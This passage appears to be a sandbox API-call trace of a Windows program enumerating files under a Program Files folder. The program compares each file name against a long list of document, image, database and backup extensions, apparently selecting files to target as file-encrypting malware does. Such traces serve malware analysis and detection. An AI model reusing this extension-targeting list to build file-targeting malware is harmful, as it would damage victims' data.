(lpString1=".flv", lpString2=".xml") returned -1 [0182.844] lstrlenW (lpString=".frm") returned 4 [0182.844] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0182.844] lstrlenW (lpString=".fxg") returned 4 [0182.845] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0182.845] lstrlenW (lpString=".geo") returned 4 [0182.845] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0182.845] lstrlenW (lpString=".gif") returned 4 [0182.845] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0182.845] lstrlenW (lpString=".grs") returned 4 [0182.845] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0182.845] lstrlenW (lpString=".gz") returned 3 [0182.845] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0182.845] lstrlenW (lpString=".h") returned 2 [0182.845] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.845] lstrlenW (lpString=".hdr") returned 4 [0182.845] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0182.845] lstrlenW (lpString=".hpp") returned 4 [0182.845] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0182.845] lstrlenW (lpString=".hta") returned 4 [0182.845] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0182.845] lstrlenW (lpString=".htc") returned 4 [0182.845] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0182.845] lstrlenW (lpString=".htm") returned 4 [0182.845] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0182.845] lstrlenW (lpString=".html") returned 5 [0182.845] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0182.845] lstrlenW (lpString=".icb") returned 4 [0182.845] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0182.845] lstrlenW (lpString=".ics") returned 4 [0182.845] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0182.845] lstrlenW (lpString=".iff") returned 4 [0182.845] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0182.845] lstrlenW (lpString=".inc") returned 4 [0182.845] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0182.845] lstrlenW (lpString=".indd") returned 5 [0182.845] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1 [0182.846] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0182.846] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0182.846] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0182.846] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0182.847] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0182.847] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-NZ", cAlternateFileName="")) returned 1 [0182.847] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0182.847] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0183.112] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.112] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.112] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.112] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.113] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24 [0183.113] lstrlenW (lpString=".1cd") returned 4 [0183.113] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.113] lstrlenW (lpString=".3ds") returned 4 [0183.113] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0183.113] lstrlenW (lpString=".3fr") returned 4 [0183.113] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0183.113] lstrlenW (lpString=".3g2") returned 4 [0183.113] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0183.114] lstrlenW (lpString=".3gp") returned 4 [0183.114] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0183.114] lstrlenW (lpString=".7z") returned 3 [0183.114] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.114] lstrlenW (lpString=".accda") returned 6 [0183.114] lstrcmpiW (lpString1=".accda", lpString2="h2.xml") returned -1 [0183.114] lstrlenW (lpString=".accdb") returned 6 [0183.114] lstrcmpiW (lpString1=".accdb", lpString2="h2.xml") returned -1 [0183.114] lstrlenW (lpString=".accdc") returned 6 [0183.114] lstrcmpiW (lpString1=".accdc", lpString2="h2.xml") returned -1 [0183.114] lstrlenW (lpString=".accde") returned 6 [0183.114] lstrcmpiW (lpString1=".accde", lpString2="h2.xml") returned -1 [0183.114] lstrlenW (lpString=".accdt") returned 6 [0183.114] lstrcmpiW (lpString1=".accdt", lpString2="h2.xml") returned -1 [0183.114] lstrlenW (lpString=".accdw") returned 6 [0183.114] lstrcmpiW (lpString1=".accdw", lpString2="h2.xml") returned -1 [0183.114] lstrlenW (lpString=".adb") returned 4 [0183.114] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0183.114] lstrlenW (lpString=".adp") returned 4 [0183.114] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0183.114] lstrlenW (lpString=".ai") returned 3 [0183.114] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0183.114] lstrlenW (lpString=".ai3") returned 4 [0183.114] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0183.114] lstrlenW (lpString=".ai4") returned 4 [0183.114] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0183.114] lstrlenW (lpString=".ai5") returned 4 [0183.114] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0183.114] lstrlenW (lpString=".ai6") returned 4 [0183.114] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0183.114] lstrlenW (lpString=".ai7") returned 4 [0183.114] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0183.115] lstrlenW (lpString=".ai8") returned 4 [0183.115] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0183.115] lstrlenW (lpString=".anim") returned 5 [0183.115] lstrcmpiW (lpString1=".anim", lpString2="2.xml") returned -1 [0183.115] lstrlenW (lpString=".arw") returned 4 [0183.115] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0183.115] lstrlenW (lpString=".as") returned 3 [0183.115] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0183.115] lstrlenW (lpString=".asa") returned 4 [0183.115] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0183.115] lstrlenW (lpString=".asc") returned 4 [0183.115] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0183.115] lstrlenW (lpString=".ascx") returned 5 [0183.115] lstrcmpiW (lpString1=".ascx", lpString2="2.xml") returned -1 [0183.115] lstrlenW (lpString=".asm") returned 4 [0183.115] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0183.115] lstrlenW (lpString=".asmx") returned 5 [0183.115] lstrcmpiW (lpString1=".asmx", lpString2="2.xml") returned -1 [0183.115] lstrlenW (lpString=".asp") returned 4 [0183.115] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0183.115] lstrlenW (lpString=".aspx") returned 5 [0183.115] lstrcmpiW (lpString1=".aspx", lpString2="2.xml") returned -1 [0183.115] lstrlenW (lpString=".asr") returned 4 [0183.115] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0183.115] lstrlenW (lpString=".asx") returned 4 [0183.115] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0183.115] lstrlenW (lpString=".avi") returned 4 [0183.115] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0183.115] lstrlenW (lpString=".avs") returned 4 [0183.115] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0183.115] lstrlenW (lpString=".backup") returned 7 [0183.115] lstrcmpiW (lpString1=".backup", lpString2="th2.xml") returned -1 [0183.115] lstrlenW (lpString=".bak") returned 4 [0183.115] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0183.115] lstrlenW (lpString=".bay") returned 4 [0183.115] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0183.116] lstrlenW (lpString=".bd") returned 3 [0183.116] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0183.116] lstrlenW (lpString=".bin") returned 4 [0183.116] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0183.116] lstrlenW (lpString=".bmp") returned 4 [0183.116] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0183.116] lstrlenW (lpString=".bz2") returned 4 [0183.116] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.116] lstrlenW (lpString=".c") returned 2 [0183.116] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.116] lstrlenW (lpString=".cdr") returned 4 [0183.116] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0183.116] lstrlenW (lpString=".cer") returned 4 [0183.116] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0183.116] lstrlenW (lpString=".cf") returned 3 [0183.116] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0183.116] lstrlenW (lpString=".cfc") returned 4 [0183.116] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0183.116] lstrlenW (lpString=".cfm") returned 4 [0183.116] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0183.116] lstrlenW (lpString=".cfml") returned 5 [0183.116] lstrcmpiW (lpString1=".cfml", lpString2="2.xml") returned -1 [0183.116] lstrlenW (lpString=".cfu") returned 4 [0183.116] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0183.116] lstrlenW (lpString=".chm") returned 4 [0183.117] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0183.117] lstrlenW (lpString=".cin") returned 4 [0183.117] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0183.117] lstrlenW (lpString=".class") returned 6 [0183.117] lstrcmpiW (lpString1=".class", lpString2="h2.xml") returned -1 [0183.117] lstrlenW (lpString=".clx") returned 4 [0183.117] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0183.117] lstrlenW (lpString=".config") returned 7 [0183.117] lstrcmpiW (lpString1=".config", lpString2="th2.xml") returned -1 [0183.117] lstrlenW (lpString=".cpp") returned 4 [0183.117] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0183.117] lstrlenW (lpString=".cr2") returned 4 [0183.117] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0183.117] lstrlenW (lpString=".crt") returned 4 [0183.117] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0183.117] lstrlenW (lpString=".crw") returned 4 [0183.117] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0183.117] lstrlenW (lpString=".cs") returned 3 [0183.117] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0183.117] lstrlenW (lpString=".css") returned 4 [0183.117] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0183.117] lstrlenW (lpString=".csv") returned 4 [0183.117] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0183.117] lstrlenW (lpString=".cub") returned 4 [0183.117] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0183.117] lstrlenW (lpString=".dae") returned 4 [0183.117] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0183.117] lstrlenW (lpString=".dat") returned 4 [0183.117] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0183.117] lstrlenW (lpString=".db") returned 3 [0183.117] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0183.117] lstrlenW (lpString=".dbf") returned 4 [0183.117] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.117] lstrlenW (lpString=".dbx") returned 4 [0183.118] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0183.118] lstrlenW (lpString=".dc3") returned 4 [0183.118] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0183.118] lstrlenW (lpString=".dcm") returned 4 [0183.118] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0183.118] lstrlenW (lpString=".dcr") returned 4 [0183.118] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0183.118] lstrlenW (lpString=".der") returned 4 [0183.118] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0183.118] lstrlenW (lpString=".dib") returned 4 [0183.118] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0183.118] lstrlenW (lpString=".dic") returned 4 [0183.118] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0183.118] lstrlenW (lpString=".dif") returned 4 [0183.118] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0183.118] lstrlenW (lpString=".divx") returned 5 [0183.118] lstrcmpiW (lpString1=".divx", lpString2="2.xml") returned -1 [0183.118] lstrlenW (lpString=".djvu") returned 5 [0183.118] lstrcmpiW (lpString1=".djvu", lpString2="2.xml") returned -1 [0183.118] lstrlenW (lpString=".dng") returned 4 [0183.118] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0183.118] lstrlenW (lpString=".doc") returned 4 [0183.118] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.118] lstrlenW (lpString=".docm") returned 5 [0183.118] lstrcmpiW (lpString1=".docm", lpString2="2.xml") returned -1 [0183.118] lstrlenW (lpString=".docx") returned 5 [0183.118] lstrcmpiW (lpString1=".docx", lpString2="2.xml") returned -1 [0183.118] lstrlenW (lpString=".dot") returned 4 [0183.118] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0183.118] lstrlenW (lpString=".dotm") returned 5 [0183.118] lstrcmpiW (lpString1=".dotm", lpString2="2.xml") returned -1 [0183.119] lstrlenW (lpString=".dotx") returned 5 [0183.119] lstrcmpiW (lpString1=".dotx", lpString2="2.xml") returned -1 [0183.119] lstrlenW (lpString=".dpx") returned 4 [0183.119] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0183.119] lstrlenW (lpString=".dqy") returned 4 [0183.119] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0183.119] lstrlenW (lpString=".dsn") returned 4 [0183.119] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0183.119] lstrlenW (lpString=".dt") returned 3 [0183.119] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0183.119] lstrlenW (lpString=".dtd") returned 4 [0183.119] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0183.119] lstrlenW (lpString=".dwg") returned 4 [0183.119] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0183.119] lstrlenW (lpString=".dwt") returned 4 [0183.119] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0183.119] lstrlenW (lpString=".dx") returned 3 [0183.119] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0183.119] lstrlenW (lpString=".dxf") returned 4 [0183.119] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0183.119] lstrlenW (lpString=".edml") returned 5 [0183.119] lstrcmpiW (lpString1=".edml", lpString2="2.xml") returned -1 [0183.119] lstrlenW (lpString=".efd") returned 4 [0183.119] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0183.119] lstrlenW (lpString=".elf") returned 4 [0183.119] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0183.119] lstrlenW (lpString=".emf") returned 4 [0183.119] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0183.119] lstrlenW (lpString=".emz") returned 4 [0183.119] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0183.119] lstrlenW (lpString=".epf") returned 4 [0183.119] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0183.119] lstrlenW (lpString=".eps") returned 4 [0183.119] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0183.120] lstrlenW (lpString=".epsf") returned 5 [0183.120] lstrcmpiW (lpString1=".epsf", lpString2="2.xml") returned -1 [0183.120] lstrlenW (lpString=".epsp") returned 5 [0183.120] lstrcmpiW (lpString1=".epsp", lpString2="2.xml") returned -1 [0183.120] lstrlenW (lpString=".erf") returned 4 [0183.120] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0183.120] lstrlenW (lpString=".exr") returned 4 [0183.120] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0183.120] lstrlenW (lpString=".f4v") returned 4 [0183.120] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0183.120] lstrlenW (lpString=".fido") returned 5 [0183.120] lstrcmpiW (lpString1=".fido", lpString2="2.xml") returned -1 [0183.120] lstrlenW (lpString=".flm") returned 4 [0183.120] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0183.120] lstrlenW (lpString=".flv") returned 4 [0183.120] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0183.120] lstrlenW (lpString=".frm") returned 4 [0183.120] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0183.120] lstrlenW (lpString=".fxg") returned 4 [0183.120] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0183.120] lstrlenW (lpString=".geo") returned 4 [0183.121] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0183.121] lstrlenW (lpString=".gif") returned 4 [0183.121] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0183.121] lstrlenW (lpString=".grs") returned 4 [0183.121] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0183.121] lstrlenW (lpString=".gz") returned 3 [0183.121] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0183.121] lstrlenW (lpString=".h") returned 2 [0183.122] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.122] lstrlenW (lpString=".hdr") returned 4 [0183.122] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0183.122] lstrlenW (lpString=".hpp") returned 4 [0183.123] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0183.123] lstrlenW (lpString=".hta") returned 4 [0183.123] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0183.123] lstrlenW (lpString=".htc") returned 4 [0183.123] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0183.123] lstrlenW (lpString=".htm") returned 4 [0183.123] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0183.123] lstrlenW (lpString=".html") returned 5 [0183.123] lstrcmpiW (lpString1=".html", lpString2="2.xml") returned -1 [0183.123] lstrlenW (lpString=".icb") returned 4 [0183.123] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0183.123] lstrlenW (lpString=".ics") returned 4 [0183.123] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0183.123] lstrlenW (lpString=".iff") returned 4 [0183.123] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0183.124] lstrlenW (lpString=".inc") returned 4 [0183.124] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0183.124] lstrlenW (lpString=".indd") returned 5 [0183.124] lstrcmpiW (lpString1=".indd", lpString2="2.xml") returned -1 [0183.124] lstrlenW (lpString=".ini") returned 4 [0183.124] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0183.124] lstrlenW (lpString=".iqy") returned 4 [0183.124] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0183.124] lstrlenW (lpString=".j2c") returned 4 [0183.125] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0183.125] lstrlenW (lpString=".j2k") returned 4 [0183.125] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0183.125] lstrlenW (lpString=".java") returned 5 [0183.125] lstrcmpiW (lpString1=".java", lpString2="2.xml") returned -1 [0183.125] lstrlenW (lpString=".jp2") returned 4 [0183.125] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0183.125] lstrlenW (lpString=".jpc") returned 4 [0183.125] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0183.125] lstrlenW (lpString=".jpe") returned 4 [0183.125] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0183.125] lstrlenW (lpString=".jpeg") returned 5 [0183.125] lstrcmpiW (lpString1=".jpeg", lpString2="2.xml") returned -1 [0183.125] lstrlenW (lpString=".jpf") returned 4 [0183.125] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0183.125] lstrlenW (lpString=".jpg") returned 4 [0183.125] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0183.125] lstrlenW (lpString=".jpx") returned 4 [0183.125] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0183.125] lstrlenW (lpString=".js") returned 3 [0183.125] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0183.125] lstrlenW (lpString=".jsf") returned 4 [0183.125] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0183.125] lstrlenW (lpString=".json") returned 5 [0183.125] lstrcmpiW (lpString1=".json", lpString2="2.xml") returned -1 [0183.125] lstrlenW (lpString=".jsp") returned 4 [0183.125] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0183.125] lstrlenW (lpString=".kdc") returned 4 [0183.125] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0183.125] lstrlenW (lpString=".kmz") returned 4 [0183.125] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0183.125] lstrlenW (lpString=".kwm") returned 4 [0183.126] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0183.126] lstrlenW (lpString=".lasso") returned 6 [0183.126] lstrcmpiW (lpString1=".lasso", lpString2="h2.xml") returned -1 [0183.126] lstrlenW (lpString=".lbi") returned 4 [0183.126] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0183.126] lstrlenW (lpString=".lgf") returned 4 [0183.126] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0183.126] lstrlenW (lpString=".lgp") returned 4 [0183.126] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0183.126] lstrlenW (lpString=".log") returned 4 [0183.126] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0183.126] lstrlenW (lpString=".m1v") returned 4 [0183.126] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0183.126] lstrlenW (lpString=".m4a") returned 4 [0183.126] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0183.126] lstrlenW (lpString=".m4v") returned 4 [0183.126] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0183.126] lstrlenW (lpString=".max") returned 4 [0183.126] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0183.126] lstrlenW (lpString=".md") returned 3 [0183.126] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0183.126] lstrlenW (lpString=".mda") returned 4 [0183.126] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0183.126] lstrlenW (lpString=".mdb") returned 4 [0183.126] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0183.126] lstrlenW (lpString=".mde") returned 4 [0183.126] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0183.126] lstrlenW (lpString=".mdf") returned 4 [0183.126] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0183.127] lstrlenW (lpString=".mdw") returned 4 [0183.127] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0183.127] lstrlenW (lpString=".mef") returned 4 [0183.127] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0183.127] lstrlenW (lpString=".mft") returned 4 [0183.127] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0183.127] lstrlenW (lpString=".mfw") returned 4 [0183.127] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0183.127] lstrlenW (lpString=".mht") returned 4 [0183.127] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 